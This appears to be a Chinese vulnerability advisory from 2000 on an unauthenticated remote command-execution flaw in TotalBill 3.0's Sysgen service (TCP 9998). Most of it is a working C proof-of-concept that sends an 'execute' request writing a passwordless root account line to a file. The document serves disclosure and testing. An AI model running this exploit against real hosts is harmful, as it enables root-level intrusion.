TotalBill远程执行命令漏洞
发布日期:2000-08-11
更新日期:2000-08-11
受影响系统:
Aptis Software TotalBill 3.0
描述:
Aptis Software 为ISP们提供了一个排行榜软件TotalBill,这个包中有一个网络服
务Sysgen在TCP/9998附近接受入连接请求,该服务允许客户端远程连接后以当前服务
所拥有的权限执行任意命令,并不做身份验证,一般该服务以root身份启动。
TotalBill包中其他服务可能存在其他漏洞。
<* 来源:Brian Masney (
masneyb@seul.org ) *>
测试方法:
警 告
以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!
#include <stdio.h>
#include <errno.h>
#include <unistd.h>
#include <string.h>
#include <netdb.h>
#include <netinet/in.h>
#include <sys/socket.h>
#define TOTALBILL_PORT 9998
#define TOTALBILL_SERVER "" /* Insert hostname here */
int main ( void )
{
struct sockaddr_in servaddr;
char * tempstr, buf[8192];
struct hostent * host;
int sockfd;
if ( ( sockfd = socket( AF_INET, SOCK_STREAM, IPPROTO_TCP ) ) < 0 )
{
fprintf( stderr, "Error: Could not create a socket: %s\n", strerror( errno ) );
return( 1 );
}
memset( &servaddr, 0, sizeof( servaddr ) );
servaddr.sin_family = AF_INET;
servaddr.sin_port = htons( TOTALBILL_PORT );
if ( ( host = gethostbyname( TOTALBILL_SERVER ) ) == NULL )
{
fprintf( stderr, "Error: Could not look up %s\n", TOTALBILL_SERVER );
return( 1 );
}
memcpy( &servaddr.sin_addr, host->h_addr_list[0], host->h_length );
if ( connect( sockfd, ( struct sockaddr * )&servaddr, sizeof( servaddr ) ) < 0 )
{
fprintf( stderr, "Error: Cannot connect to %s: %s\n",
TOTALBILL_SERVER, strerror( errno ) );
return( 1 );
}
tempstr = "123456 execute execute execute=/bin/echo+root::0:0::/:/bin/sh+>+/rootfile";
printf( "Sending command %s to %s\n", tempstr, TOTALBILL_SERVER );
if ( write( sockfd, tempstr, strlen( tempstr ) + 1 ) < 0 )
{
fprintf( stderr, "Error: Cannot write to socket: %s\n", strerror( errno ) );
return( 1 );
}
printf( "Sent...waiting for response...\n" );
if ( read( sockfd, buf, sizeof( buf ) ) < 0 )
{
fprintf( stderr, "Error: Cannot read from socket: %s\n", strerror( errno ) );
return( 1 );
}
printf( "Received %s from server\n", buf );
close( sockfd );
return( 0 );
} /* end of main */
建议:
暂无
浏览次数:5926
严重程度:0(网友投票)